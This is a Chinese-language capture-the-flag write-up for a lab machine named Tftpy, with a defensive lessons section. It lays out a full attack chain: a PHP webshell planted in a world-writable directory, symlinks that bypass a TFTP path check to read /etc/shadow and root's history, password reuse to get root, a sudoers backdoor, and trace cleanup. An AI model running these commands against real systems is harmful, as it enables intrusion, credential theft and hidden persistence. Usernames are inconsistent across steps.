

Tftpy Writeup by Sublarge

- 目标: 192.168.56.102
- 主机名: Tftpy
- 作者: ll104567
- 系统: Debian GNU/Linux 13 (trixie) / kernel 7.2.7-1-liquorix-amd64
- 难度: baby

一、攻击链总览

```
1 [UDP/69 TFTP 只读, 以 root 运行, 根目录 = /var/www/html/backup]
2   |
3   | ① TFTP 直接读取 Web 备份目录源码
4   | ▼
5   | 泄露 config.php → SSH 凭据 xPerceptor : 1BN1cgswS86srT75XUSK
6   | |
7   | | ② SSH 登录
8   | | ▼
9   | | xPerceptor (uid=1000) → user.txt
10  | | |
11  | | | ③ /var/www/html/uploads 权限 777, 直接落 PHP webshell
12  | | | ▼
13  | | | www-data RCE
14  | | | |
15  | | | | ④ www-data 对 /var/www/html/backup 有写权限, 建符号链接 →
16  | | | | /root
17  | | | | |
18  | | | | | (TFTP 路径校验用 abspath 而非 realpath, 不解析软链接)
19  | | | | | ▼
20  | | | | | TFTP 以 root 身份跟随软链接读取任意文件
21  | | | | | └─ root.txt
22  | | | | | └─ /etc/shadow (root 哈希)
23  | | | | | └─ /root/.bash_history → 泄露 MySQL root 口令
```

```
2
2      ⑤ 口令复用, su root
3      ▼
4      root (uid=0) → 写入 sudo 后门规则持久化
5
```

二、信息收集

2.1 端口扫描

```
Bash

1 nmap -p- --min-rate 5000 -T4 -Pn 192.168.56.102 -oN nmap_all.txt
2 # 22/tcp open  ssh
3 # 80/tcp open  http
4
5 nmap -sV -sC -p22,80 192.168.56.102
6 # 22/tcp OpenSSH 10.0p2 Debian 7+deb13u4
7 # 80/tcp Apache httpd 2.4.68 (Debian), title: PHP 8.4.24 -
  phpinfo()
8
9 nmap -sU -p69 192.168.56.102
1 # 69/udp open|filtered tftp      ← 目录名 tftpy 的暗示
n
```

2.2 Web 枚举

```
Bash

1 # 首页就是 phpinfo, 泄露主机名 Tftpy、/var/www/html、mod_autoindex 等
2 curl -s http://192.168.56.102/ -o phpinfo.html
3
4 gobuster dir -u http://192.168.56.102/ \
5   -w /usr/share/seclists/Discovery/Web-Content/DirBuster-
  2007_directory-list-2.3-small.txt \
6   -x php,txt,html,bak -t 50
7 # index.php    (200)
8 # upload.php   (200, 305B)
9 # config.php   (200, 0B — 被 PHP 执行, 无输出)
```

```
1 # /uploads/ (301)
0 # /backup/ (301)
1
```

关键点：

- `upload.php` 只允许上传 `.txt` (`pathinfo` 取扩展名后强校验)；
- `/uploads/` 目录权限是 **777** (后面直接绕过 `upload.php` 使用)；
- `/backup/` 是一个独立的 PHP 目录 (内容与 TFTP 根目录一致)。

| 2.3 TFTP 枚举

TFTP 无法列目录，只能猜文件名读取：

```
Bash
1 printf 'binary\nget index.php idx.php\nquit\n' | tftp
  192.168.56.102
2 cat idx.php
3 # <?php phpinfo();
4
5 printf 'binary\nget config.php config.php\nquit\n' | tftp
  192.168.56.102
6 cat config.php
7 # <?php
8 # $username = 'xPerceptron';
9 # $password = '1BN1cgswS86srT75XUSK';
```

第一处凭据到手。

同时验证 TFTP 的两个限制：

```
Bash
1 # 路径穿越被拦截
2 printf 'binary\nget ../../../../etc/passwd out.bin\nquit\n' | tftp
  192.168.56.102
3 # Error code 4: Illegal TFTP operation
```

```
4
5 # 写入被拦截 (服务端打了补丁)
6 printf 'binary\nput test.php test.php\nquit\n' | tftp
  192.168.56.102
7 # Error code 2: Access violation
```

2.4 SSH 登录

```
Bash

1 sshpass -p '1BN1cgswS86srT75XUSK' \
2   ssh -o StrictHostKeyChecking=no xPerceptron@192.168.56.102
3 # uid=1000(xPerceptron) gid=1000(xPerceptron) hostname=Tftpy
4 cat ~/user.txt
5 # flag{user-25a12ecfe27b8ca6f910a5ee41134cb9}
```

2.5 本地提权枚举 (常规手段全部落空)

```
Bash

1 sudo -l # 无 sudo 权限
2 find / -perm -4000 -type f 2>/dev/null # 全是 Debian 默认 SUID
3 getcap -r / 2>/dev/null # 无 capabilities
4 cat /etc/crontab; ls -la /etc/cron.* # 无自定义计划任务
5 ps auxww # 唯一可疑: /usr/bin/python3
  /opt/tftpy/run.py ← 以 root 运行
6 ss -tulpn # 22, 80, 69/udp
```

跑 linpeas 也没扫出常规提权点，于是回到 **tftpy 本身**。

2.6 分析 tftpy 服务 (关键)

```
Bash

1 ls -laR /opt/tftpy/
2 cat /opt/tftpy/run.py
```

```

3 # import sys; sys.path.insert(0, '/opt/tftpy'); import tftpy
4 # tftpy.TftpServer('/var/www/html/backup').listen('0.0.0.0', 69)
  ← TFTP 根目录
5
6 cat /etc/systemd/system/tftp.service
7 # [Service]
8 # WorkingDirectory=/var/www/html
9 # ExecStart=/usr/bin/python3 /opt/tftpy/run.py
1 # Restart=always
0 # User=root
1   ← 以 root 身份运行

```

检查源码是否被改动过：

```

1 cd /opt/tftpy
2 git -c safe.directory=/opt/tftpy status
3 # M tftpy/TftpStates.py      ← 唯一被改动的文件
4 git -c safe.directory=/opt/tftpy diff tftpy/TftpStates.py

```

补丁内容（作者禁用了上传功能）：

```

1 def handle(self, pkt, raddress, rport):
2     """Handle an initial WRQ packet as a server."""
3     log.debug("In TftpStateServerRecvWRQ.handle")
4 +     if not self.context.tidport:
5 +         self.context.tidport = rport
6 +     self.sendError(TftpErrors.AccessViolation)
7 +     raise TftpException("Write requests are not permitted")
8     sendack = self.serverInitial(pkt, raddress, rport)

```

再看读文件的路径校验逻辑（`tftpy/TftpStates.py` `serverInitial`）：

```

1 if pkt.filename.startswith(self.context.root):
2     full_path = pkt.filename
3 else:
4     full_path = os.path.join(self.context.root,
5                               pkt.filename.lstrip("/"))
6 self.full_path = os.path.abspath(full_path)          # ← 只做字符
   串规范化
7 if self.full_path.startswith(os.path.normpath(self.context.root)
8                               + os.sep):
9     log.info("requested file is in the server root - good")
10 else:
11     self.sendError(TftpErrors.IllegalTftpOp)        # 拒绝
12     raise TftpException("bad file path")
1

```

核心结论:

- ① `os.path.abspath()` 只做字符串层面的规范化，不解析软链接（解析软链接要用 `os.path.realpath()`）。
- ② 校验是纯字符串前缀匹配，路径中间任何一段是软链接都不会被发现。
- ③ 后续 `open(path, "rb")` 是真实系统调用，会跟随软链接。
- ④ 服务进程是 `root`，所以打开的文件以 `root` 权限读取。

→ 只要能在 `/var/www/html/backup/` 里放一个软链接，就能让 TFTP 以 `root` 身份读到任意文件（任意文件读）。

三、漏洞利用

3.1 第一步：xPerceptron → www-data

`/var/www/html/uploads` 是 `drwxrwxrwx`，根本不需要走 `upload.php`（何况它只允许 `.txt`），直接写文件即可：



Bash

```
1 # 本机准备 shell (内容任选, 这里用最小 webshell)
2 cat > x.php <<'EOF'
3 <?php system($_GET["c"]); ?>
4 EOF
5
6 # 通过 SSH 以 xPerceptor 直接落到 777 目录
7 sshpass -p '1BN1cgswS86srT75XUSK' ssh xPerceptor@192.168.56.102
8 \
9 'cat > /var/www/html/uploads/x.php << "PHPEOF"
10 <?php system($_GET["c"]); ?>
11 PHPEOF'
12
13 # 验证 RCE
14 curl -s "http://192.168.56.102/uploads/x.php?c=id"
15 # uid=33(www-data) gid=33(www-data) groups=33(www-data)
16 \
```

“

注意: `/var/www/html/backup` 属主是 `www-data` (权限 755), xPerceptor 无权写入,

所以必须先把权限提升到 `www-data` 才能建软链接。

3.2 第二步：在 TFTP 根目录投放软链接



Bash

```
1 curl -s -G "http://192.168.56.102/uploads/x.php" \
2 --data-urlencode 'c=ln -s /root /var/www/html/backup/r00t; ls -
3 la /var/www/html/backup/'
4 # lrwxrwxrwx 1 www-data www-data 5 ... r00t -> /root
```

3.3 第三步：TFTP 以 root 读取任意文件



Bash

```

1 # root flag
2 printf 'binary\nget r00t/root.txt root.txt\nquit\n' | tftp
  192.168.56.102
3 cat root.txt
4 # flag{root-a2fdd537242e5979b4d53aac7140cdda}
5
6 # /etc/shadow
7 curl -s -G "http://192.168.56.102/uploads/x.php" \
  --data-urlencode 'c=ln -s /etc /var/www/html/backup/etc'
8 printf 'binary\nget etc/shadow shadow.txt\nquit\n' | tftp
  192.168.56.102
1 cat shadow.txt
0 #
1 root:$y$j9T$SMSasTLbr.2zIxqhY3cZr.$Ks1y1bXGLAXpyKsq5hN3fNAfARUwP
  .EzyZvC7oujN60: ...
1
2 # root 的历史命令 (拿到关键口令)
3 printf 'binary\nget r00t/.bash_history hist.txt\nquit\n' | tftp
4 192.168.56.102
1 cat hist.txt
$ # mysql -uroot -p6L8vIjMakbCB0KeSoD92
^

```

3.4 第四步：口令复用 → root

```

1 ssh xPerceptron@192.168.56.102
2 echo '6L8vIjMakbCB0KeSoD92' | su root -c 'id'
3 # Password:
4 # uid=0(root) gid=0(root) groups=0(root)

```

3.5 第五步：写入 sudo 后门（持久化）

```

1 echo '6L8vIjMakbCB0KeSoD92' | su root -c '
2   echo "xPerceptron ALL=(ALL) NOPASSWD: ALL" >
  /etc/sudoers.d/99-xPerceptron
3   chmod 0440 /etc/sudoers.d/99-xPerceptron

```

```

4  chown root:root /etc/sudoers.d/99-xPerception
5  /usr/sbin/visudo -c
6  '
7  # /etc/sudoers: parsed OK
8  # /etc/sudoers.d/99-xPerception: parsed OK
9
1 # 验证后门
0 echo '1BN1cgswS86srT75XUSK' | sudo -S id
1 # uid=0(root) gid=0(root) groups=0(root)
~

```

3.6 清理痕迹

```

1 sudo rm -f /var/www/html/backup/r00t /var/www/html/backup/etc \
2           /var/www/html/uploads/x.php
3 ls -la /var/www/html/backup/ /var/www/html/uploads/

```

四、知识点

4.1 TFTP 协议特性

- 基于 **UDP/69**，无认证、无加密、**无目录列表功能**（只能按文件名盲读）。
- 初始 RRQ/WRQ 发往 69，之后服务端会换到随机 TID 端口继续传输。
- 常见 opcode: **RRQ(1) WRQ(2) DATA(3) ACK(4) ERROR(5) OACK(6)**。
- 安全影响：配置不当的 TFTP 常直接暴露配置文件、备份、**/etc/passwd** 等。

4.2 软链接绕过路径校验（本机核心漏洞）

函数	行为
<code>os.path.abspath()</code>	仅做字符串规范化， 不解析软链接
<code>os.path.realpath()</code>	解析所有软链接，返回真实路径

只做「字符串前缀白名单」的路径校验，遇到目录内软链接即被绕过：

```
1 请求文件名 : r00t/root.txt
2 拼接后      : /var/www/html/backup/r00t/root.txt
3 abspath     : /var/www/html/backup/r00t/root.txt ← 前缀校验通过
4 open()      : 跟随 r00t → /root, 实际读取 /root/root.txt (以 root 身份)
```

修复方式：使用 `os.path.realpath()` 后再做 `os.path.commonpath()` 校验，或 `openat2()` + `RESOLVE_BENEATH`。

4.3 权限配置错误

- `/var/www/html/uploads` 为 `777`，任意用户可直接写入 → 绕过上传白名单。
- Web 目录下存在 PHP 可执行目录（`uploads/`），上传即可 RCE。
- `tftp.service` 以 `root` 运行且 `Restart=always`，放大了「任意文件读」的危害。
- 备份目录 `backup/` 属主为 `www-data`，让 `www-data` 能向其注入软链接。

4.4 凭据泄露与复用

- 配置文件硬编码凭据（`config.php`）。
- 敏感命令留在 shell 历史（`.bash_history` 中的 `mysql -uroot -p...`）。
- 口令跨服务复用：MySQL root 口令 = 系统 root 口令。
- 取证/审计时 `.bash_history` 是高价值目标。

五、复盘

5.1 做对了什么

- 1 没有被「目录名 = tftpy」带偏：没有只盯着 TFTP 的写漏洞，而是完整分析了服务源码与运行身份。

- ② **读源码定位到真正的设计缺陷**：作者虽然用补丁禁用了 WRQ（写入），但读路径的软链接问题没修，属于「补了一半」。
- ③ **权限链意识清晰**：TFTP 根目录属主是 www-data → 必须先把 SSH 用户提权到 www-data 才能投毒。
- ④ **拿到了 root flag 之后没有停**：继续用同一原语读 `/etc/shadow` 和 `.bash_history`，最终拿到 root shell，形成完整闭环。

5.2 走了哪些弯路

- ① **一开始只测了 `..` 路径穿越**，被 `Illegal TFTP operation` 拦住就以为 TFTP 没戏了。实际上应该同时考虑 **软链接** 这种非 `..` 的绕过方式。
- ② **花了大量时间在常规提权上**（SUID / cron / capabilities / linpeas），这些确实都是干净的。事后看，`ps` 里那个 **root 运行的 tftpy** 才是最该先深挖的点——「非默认服务 + root 身份」应该第一时间排到最高优先级。
- ③ **过早尝试爆破 root 哈希**：yescrypt 基本爆不动，应该优先去读 `.bash_history`、`.ssh`、`.mysql_history` 这类文件，性价比高得多。
- ④ **`upload.php` 只允许 txt 是个干扰项**：真正的入口是它旁边那个 777 的 `uploads/` 目录。看到「上传白名单」时要顺手 `ls -ld` 一下目标目录的权限。

5.3 如果我是防守方

- TFTP 服务 **不要以 root 运行**，用专用低权限用户 + `chroot`；
- 路径校验统一用 `os.path.realpath()` + `os.path.commonpath()`，或 `openat2(RESOLVE_BENEATH)`；
- Web 目录禁止 777，上传目录单独挂载并 `noexec` / 关闭 PHP handler；
- 配置文件中的凭据改为环境变量或密钥管理服务，禁止硬编码；
- 禁止跨服务口令复用，`.bash_history` 避免记录明文口令（`HISTCONTROL=ignorespace` 且命令行不加 `-p`）。

5.4 一句话总结

“

TFTP 以 root 运行 + 路径校验只做字符串前缀匹配（未解析软链接） = 任意文件读；
再叠加 Web 目录 777 与凭据复用，最终从 xPerceptron 一路拿到 root。